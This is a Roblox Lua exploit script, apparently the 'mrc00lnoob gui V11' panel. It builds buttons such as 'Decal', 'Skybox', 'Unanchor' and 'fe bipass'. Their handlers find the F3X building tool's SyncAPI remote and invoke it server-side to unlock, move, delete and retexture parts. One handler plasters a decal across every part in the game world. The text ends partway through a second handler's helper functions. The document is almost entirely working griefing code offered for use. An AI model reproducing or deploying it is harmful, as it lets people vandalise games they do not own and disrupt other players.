
KeylessUniversal

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-- Instances: 49 | Scripts: 22 | Modules: 0 | Tags: 0
local G2L = {};
-- StarterGui.ScreenGui
G2L["1"] = Instance.new("ScreenGui", game:GetService("Players").LocalPlayer:WaitForChild("PlayerGui"));
G2L["1"]["ZIndexBehavior"] = Enum.ZIndexBehavior.Sibling;
-- StarterGui.ScreenGui.Frame
G2L["2"] = Instance.new("Frame", G2L["1"]);
G2L["2"]["BorderSizePixel"] = 3;
G2L["2"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2"]["Size"] = UDim2.new(0, 416, 0, 636);
G2L["2"]["Position"] = UDim2.new(0.15583, 0, 0.06655, 0);
G2L["2"]["BorderColor3"] = Color3.fromRGB(86, 0, 255);
-- StarterGui.ScreenGui.Frame.TextLabel
G2L["3"] = Instance.new("TextLabel", G2L["2"]);
G2L["3"]["TextWrapped"] = true;
G2L["3"]["BorderSizePixel"] = 0;
G2L["3"]["TextSize"] = 14;
G2L["3"]["TextScaled"] = true;
G2L["3"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["3"]["FontFace"] = Font.new([[rbxasset://fonts/families/Arial.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["3"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["3"]["BackgroundTransparency"] = 1;
G2L["3"]["Size"] = UDim2.new(0, 200, 0, 50);
G2L["3"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3"]["Text"] = [[mrc00lnoob gui V11]];
G2L["3"]["Position"] = UDim2.new(0.25962, 0, 0.0599, 0);
-- StarterGui.ScreenGui.Frame.TextLabel
G2L["4"] = Instance.new("TextLabel", G2L["2"]);
G2L["4"]["TextWrapped"] = true;
G2L["4"]["BorderSizePixel"] = 0;
G2L["4"]["TextSize"] = 14;
G2L["4"]["TextScaled"] = true;
G2L["4"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["4"]["FontFace"] = Font.new([[rbxasset://fonts/families/Arial.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["4"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["4"]["BackgroundTransparency"] = 1;
G2L["4"]["Size"] = UDim2.new(0, 200, 0, 13);
G2L["4"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["4"]["Text"] = [[made by krnl1 and mrc**ln**b]];
G2L["4"]["Position"] = UDim2.new(0.25962, 0, 0.13807, 0);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["5"] = Instance.new("TextButton", G2L["2"]);
G2L["5"]["TextWrapped"] = true;
G2L["5"]["BorderSizePixel"] = 3;
G2L["5"]["TextSize"] = 14;
G2L["5"]["TextScaled"] = true;
G2L["5"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["5"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["5"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["5"]["Size"] = UDim2.new(0, 116, 0, 50);
G2L["5"]["BorderColor3"] = Color3.fromRGB(86, 0, 255);
G2L["5"]["Text"] = [[Decal]];
G2L["5"]["Position"] = UDim2.new(0.05769, 0, 0.18598, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["6"] = Instance.new("LocalScript", G2L["5"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["7"] = Instance.new("TextButton", G2L["2"]);
G2L["7"]["TextWrapped"] = true;
G2L["7"]["BorderSizePixel"] = 3;
G2L["7"]["TextSize"] = 14;
G2L["7"]["TextScaled"] = true;
G2L["7"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["7"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["7"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["7"]["Size"] = UDim2.new(0, 116, 0, 50);
G2L["7"]["BorderColor3"] = Color3.fromRGB(86, 0, 255);
G2L["7"]["Text"] = [[Skybox]];
G2L["7"]["Position"] = UDim2.new(0.36058, 0, 0.18598, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["8"] = Instance.new("LocalScript", G2L["7"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["9"] = Instance.new("TextButton", G2L["2"]);
G2L["9"]["TextWrapped"] = true;
G2L["9"]["BorderSizePixel"] = 3;
G2L["9"]["TextSize"] = 14;
G2L["9"]["TextScaled"] = true;
G2L["9"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["9"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["9"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["9"]["Size"] = UDim2.new(0, 116, 0, 50);
G2L["9"]["BorderColor3"] = Color3.fromRGB(86, 0, 255);
G2L["9"]["Text"] = [[Particles]];
G2L["9"]["Position"] = UDim2.new(0.66827, 0, 0.18598, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["a"] = Instance.new("LocalScript", G2L["9"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["b"] = Instance.new("TextButton", G2L["2"]);
G2L["b"]["TextWrapped"] = true;
G2L["b"]["BorderSizePixel"] = 3;
G2L["b"]["TextSize"] = 14;
G2L["b"]["TextScaled"] = true;
G2L["b"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["b"]["Size"] = UDim2.new(0, 116, 0, 50);
G2L["b"]["BorderColor3"] = Color3.fromRGB(86, 0, 255);
G2L["b"]["Text"] = [[Unanchor]];
G2L["b"]["Position"] = UDim2.new(0.05769, 0, 0.28012, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["c"] = Instance.new("LocalScript", G2L["b"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["d"] = Instance.new("TextButton", G2L["2"]);
G2L["d"]["TextWrapped"] = true;
G2L["d"]["BorderSizePixel"] = 3;
G2L["d"]["TextSize"] = 14;
G2L["d"]["TextScaled"] = true;
G2L["d"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["d"]["Size"] = UDim2.new(0, 116, 0, 50);
G2L["d"]["BorderColor3"] = Color3.fromRGB(86, 0, 255);
G2L["d"]["Text"] = [[Message]];
G2L["d"]["Position"] = UDim2.new(0.36058, 0, 0.28012, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["e"] = Instance.new("LocalScript", G2L["d"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["f"] = Instance.new("TextButton", G2L["2"]);
G2L["f"]["TextWrapped"] = true;
G2L["f"]["BorderSizePixel"] = 3;
G2L["f"]["TextSize"] = 14;
G2L["f"]["TextScaled"] = true;
G2L["f"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["f"]["Size"] = UDim2.new(0, 116, 0, 50);
G2L["f"]["BorderColor3"] = Color3.fromRGB(86, 0, 255);
G2L["f"]["Text"] = [[Hint]];
G2L["f"]["Position"] = UDim2.new(0.66827, 0, 0.28012, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["10"] = Instance.new("LocalScript", G2L["f"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["11"] = Instance.new("TextButton", G2L["2"]);
G2L["11"]["TextWrapped"] = true;
G2L["11"]["BorderSizePixel"] = 3;
G2L["11"]["TextSize"] = 14;
G2L["11"]["TextScaled"] = true;
G2L["11"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["11"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["11"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["11"]["Size"] = UDim2.new(0, 116, 0, 50);
G2L["11"]["BorderColor3"] = Color3.fromRGB(86, 0, 255);
G2L["11"]["Text"] = [[Char all]];
G2L["11"]["Position"] = UDim2.new(0.05769, 0, 0.37692, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["12"] = Instance.new("LocalScript", G2L["11"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["13"] = Instance.new("TextButton", G2L["2"]);
G2L["13"]["TextWrapped"] = true;
G2L["13"]["BorderSizePixel"] = 3;
G2L["13"]["TextSize"] = 14;
G2L["13"]["TextScaled"] = true;
G2L["13"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["13"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["13"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["13"]["Size"] = UDim2.new(0, 116, 0, 50);
G2L["13"]["BorderColor3"] = Color3.fromRGB(86, 0, 255);
G2L["13"]["Text"] = [[fe bipass ]];
G2L["13"]["Position"] = UDim2.new(0.36058, 0, 0.37692, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["14"] = Instance.new("LocalScript", G2L["13"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["15"] = Instance.new("TextButton", G2L["2"]);
G2L["15"]["TextWrapped"] = true;
G2L["15"]["BorderSizePixel"] = 3;
G2L["15"]["TextSize"] = 14;
G2L["15"]["TextScaled"] = true;
G2L["15"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["15"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["15"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["15"]["Size"] = UDim2.new(0, 116, 0, 50);
G2L["15"]["BorderColor3"] = Color3.fromRGB(86, 0, 255);
G2L["15"]["Text"] = [[macedonia SPAM]];
G2L["15"]["Position"] = UDim2.new(0.66827, 0, 0.37692, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["16"] = Instance.new("LocalScript", G2L["15"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["17"] = Instance.new("TextButton", G2L["2"]);
G2L["17"]["TextWrapped"] = true;
G2L["17"]["BorderSizePixel"] = 3;
G2L["17"]["TextSize"] = 14;
G2L["17"]["TextScaled"] = true;
G2L["17"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["17"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["17"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["17"]["Size"] = UDim2.new(0, 116, 0, 50);
G2L["17"]["BorderColor3"] = Color3.fromRGB(86, 0, 255);
G2L["17"]["Text"] = [[john Doe]];
G2L["17"]["Position"] = UDim2.new(0.05769, 0, 0.47396, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["18"] = Instance.new("LocalScript", G2L["17"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["19"] = Instance.new("TextButton", G2L["2"]);
G2L["19"]["TextWrapped"] = true;
G2L["19"]["BorderSizePixel"] = 3;
G2L["19"]["TextSize"] = 14;
G2L["19"]["TextScaled"] = true;
G2L["19"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["19"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["19"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["19"]["Size"] = UDim2.new(0, 116, 0, 50);
G2L["19"]["BorderColor3"] = Color3.fromRGB(86, 0, 255);
G2L["19"]["Text"] = [[goner]];
G2L["19"]["Position"] = UDim2.new(0.36058, 0, 0.47396, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["1a"] = Instance.new("LocalScript", G2L["19"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["1b"] = Instance.new("TextButton", G2L["2"]);
G2L["1b"]["TextWrapped"] = true;
G2L["1b"]["BorderSizePixel"] = 3;
G2L["1b"]["TextSize"] = 14;
G2L["1b"]["TextScaled"] = true;
G2L["1b"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1b"]["Size"] = UDim2.new(0, 116, 0, 50);
G2L["1b"]["BorderColor3"] = Color3.fromRGB(86, 0, 255);
G2L["1b"]["Text"] = [[we surrender title]];
G2L["1b"]["Position"] = UDim2.new(0.66827, 0, 0.47396, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["1c"] = Instance.new("LocalScript", G2L["1b"]);
-- StarterGui.ScreenGui.Frame.TextLabel
G2L["1d"] = Instance.new("TextLabel", G2L["2"]);
G2L["1d"]["TextWrapped"] = true;
G2L["1d"]["BorderSizePixel"] = 0;
G2L["1d"]["TextSize"] = 14;
G2L["1d"]["TextScaled"] = true;
G2L["1d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1d"]["FontFace"] = Font.new([[rbxasset://fonts/families/Arial.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1d"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1d"]["BackgroundTransparency"] = 1;
G2L["1d"]["Size"] = UDim2.new(0, 200, 0, 48);
G2L["1d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1d"]["Text"] = [[other scripts]];
G2L["1d"]["Position"] = UDim2.new(0.23798, 0, 0.5736, 0);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["1e"] = Instance.new("TextButton", G2L["2"]);
G2L["1e"]["TextWrapped"] = true;
G2L["1e"]["BorderSizePixel"] = 3;
G2L["1e"]["TextSize"] = 14;
G2L["1e"]["TextScaled"] = true;
G2L["1e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["1e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["1e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["1e"]["Size"] = UDim2.new(0, 116, 0, 50);
G2L["1e"]["BorderColor3"] = Color3.fromRGB(86, 0, 255);
G2L["1e"]["Text"] = [[DOMINANT]];
G2L["1e"]["Position"] = UDim2.new(0.05769, 0, 0.64849, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["1f"] = Instance.new("LocalScript", G2L["1e"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["20"] = Instance.new("TextButton", G2L["2"]);
G2L["20"]["TextWrapped"] = true;
G2L["20"]["BorderSizePixel"] = 3;
G2L["20"]["TextSize"] = 14;
G2L["20"]["TextScaled"] = true;
G2L["20"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["20"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["20"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["20"]["Size"] = UDim2.new(0, 116, 0, 50);
G2L["20"]["BorderColor3"] = Color3.fromRGB(86, 0, 255);
G2L["20"]["Text"] = [[disco]];
G2L["20"]["Position"] = UDim2.new(0.36058, 0, 0.64849, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["21"] = Instance.new("LocalScript", G2L["20"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["22"] = Instance.new("TextButton", G2L["2"]);
G2L["22"]["TextWrapped"] = true;
G2L["22"]["BorderSizePixel"] = 3;
G2L["22"]["TextSize"] = 14;
G2L["22"]["TextScaled"] = true;
G2L["22"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["22"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["22"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["22"]["Size"] = UDim2.new(0, 116, 0, 50);
G2L["22"]["BorderColor3"] = Color3.fromRGB(86, 0, 255);
G2L["22"]["Text"] = [[teams]];
G2L["22"]["Position"] = UDim2.new(0.66827, 0, 0.64849, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["23"] = Instance.new("LocalScript", G2L["22"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["24"] = Instance.new("TextButton", G2L["2"]);
G2L["24"]["TextWrapped"] = true;
G2L["24"]["BorderSizePixel"] = 3;
G2L["24"]["TextSize"] = 14;
G2L["24"]["TextScaled"] = true;
G2L["24"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["24"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["24"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["24"]["Size"] = UDim2.new(0, 116, 0, 50);
G2L["24"]["BorderColor3"] = Color3.fromRGB(86, 0, 255);
G2L["24"]["Text"] = [[b2s leak]];
G2L["24"]["Position"] = UDim2.new(0.05769, 0, 0.74126, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["25"] = Instance.new("LocalScript", G2L["24"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["26"] = Instance.new("TextButton", G2L["2"]);
G2L["26"]["TextWrapped"] = true;
G2L["26"]["BorderSizePixel"] = 3;
G2L["26"]["TextSize"] = 14;
G2L["26"]["TextScaled"] = true;
G2L["26"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["26"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["26"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["26"]["Size"] = UDim2.new(0, 116, 0, 50);
G2L["26"]["BorderColor3"] = Color3.fromRGB(86, 0, 255);
G2L["26"]["Text"] = [[F3X gui]];
G2L["26"]["Position"] = UDim2.new(0.36058, 0, 0.74126, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["27"] = Instance.new("LocalScript", G2L["26"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["28"] = Instance.new("TextButton", G2L["2"]);
G2L["28"]["TextWrapped"] = true;
G2L["28"]["BorderSizePixel"] = 3;
G2L["28"]["TextSize"] = 14;
G2L["28"]["TextScaled"] = true;
G2L["28"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["28"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["28"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["28"]["Size"] = UDim2.new(0, 116, 0, 50);
G2L["28"]["BorderColor3"] = Color3.fromRGB(86, 0, 255);
G2L["28"]["Text"] = [[theme]];
G2L["28"]["Position"] = UDim2.new(0.66827, 0, 0.74126, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["29"] = Instance.new("LocalScript", G2L["28"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["2a"] = Instance.new("TextButton", G2L["2"]);
G2L["2a"]["TextWrapped"] = true;
G2L["2a"]["BorderSizePixel"] = 3;
G2L["2a"]["TextSize"] = 14;
G2L["2a"]["TextScaled"] = true;
G2L["2a"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2a"]["Size"] = UDim2.new(0, 383, 0, 50);
G2L["2a"]["BorderColor3"] = Color3.fromRGB(86, 0, 255);
G2L["2a"]["Text"] = [[F3X]];
G2L["2a"]["Position"] = UDim2.new(0.02644, 0, 0.90792, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["2b"] = Instance.new("LocalScript", G2L["2a"]);
-- StarterGui.ScreenGui.Frame.TextLabel
G2L["2c"] = Instance.new("TextLabel", G2L["2"]);
G2L["2c"]["TextWrapped"] = true;
G2L["2c"]["BorderSizePixel"] = 0;
G2L["2c"]["TextSize"] = 14;
G2L["2c"]["TextScaled"] = true;
G2L["2c"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2c"]["FontFace"] = Font.new([[rbxasset://fonts/families/Arial.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2c"]["BackgroundTransparency"] = 1;
G2L["2c"]["Size"] = UDim2.new(0, 200, 0, 48);
G2L["2c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2c"]["Text"] = [[get f3x]];
G2L["2c"]["Position"] = UDim2.new(0.23798, 0, 0.81888, 0);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["2d"] = Instance.new("TextButton", G2L["2"]);
G2L["2d"]["TextWrapped"] = true;
G2L["2d"]["BorderSizePixel"] = 3;
G2L["2d"]["TextSize"] = 14;
G2L["2d"]["TextScaled"] = true;
G2L["2d"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2d"]["Size"] = UDim2.new(0, 116, 0, 50);
G2L["2d"]["BorderColor3"] = Color3.fromRGB(86, 0, 255);
G2L["2d"]["Text"] = [[r6]];
G2L["2d"]["Position"] = UDim2.new(0, 0, 0.02246, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["2e"] = Instance.new("LocalScript", G2L["2d"]);
-- StarterGui.ScreenGui.Frame.TextButton
G2L["2f"] = Instance.new("TextButton", G2L["2"]);
G2L["2f"]["TextWrapped"] = true;
G2L["2f"]["BorderSizePixel"] = 3;
G2L["2f"]["TextSize"] = 14;
G2L["2f"]["TextScaled"] = true;
G2L["2f"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2f"]["Size"] = UDim2.new(0, 116, 0, 50);
G2L["2f"]["BorderColor3"] = Color3.fromRGB(86, 0, 255);
G2L["2f"]["Text"] = [[Reset]];
G2L["2f"]["Position"] = UDim2.new(0.72115, 0, 0.02246, 0);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
G2L["30"] = Instance.new("LocalScript", G2L["2f"]);
-- StarterGui.ScreenGui.Frame.Smooth GUI Dragging
G2L["31"] = Instance.new("LocalScript", G2L["2"]);
-- [ERROR] cannot convert Capabilities, please report to "https://github.com/uniquadev/GuiToLuaConverter/issues"
G2L["31"]["Sandboxed"] = true;
G2L["31"]["Name"] = [[Smooth GUI Dragging]];
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_6()
local script = G2L["6"];
local button = script.Parent
button.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function spam(id)
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,id,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end
spam("6877509129")
end)
end;
task.spawn(C_6);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_8()
local script = G2L["8"];
local button = script.Parent
button.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
local remote
-- Search player Backpack and character for the tool
for _, v in player.Backpack:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
break
end
end
if not tool and char then
for _, v in char:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
break
end
end
end
if not tool then
for _, v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
break
end
end
end
if not tool then
warn("SyncAPI tool not found!")
return
end
remote = tool.SyncAPI.ServerEndpoint
local function _(args)
remote:InvokeServer(table.unpack(args))
end
local function SetCollision(part, boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
local function SetAnchor(boolean, part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
local function CreatePart(cf, parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
local function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
local function MovePart(part, cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
local function Resize(part, size, cf)
local args = {
[1] = "SyncResize",
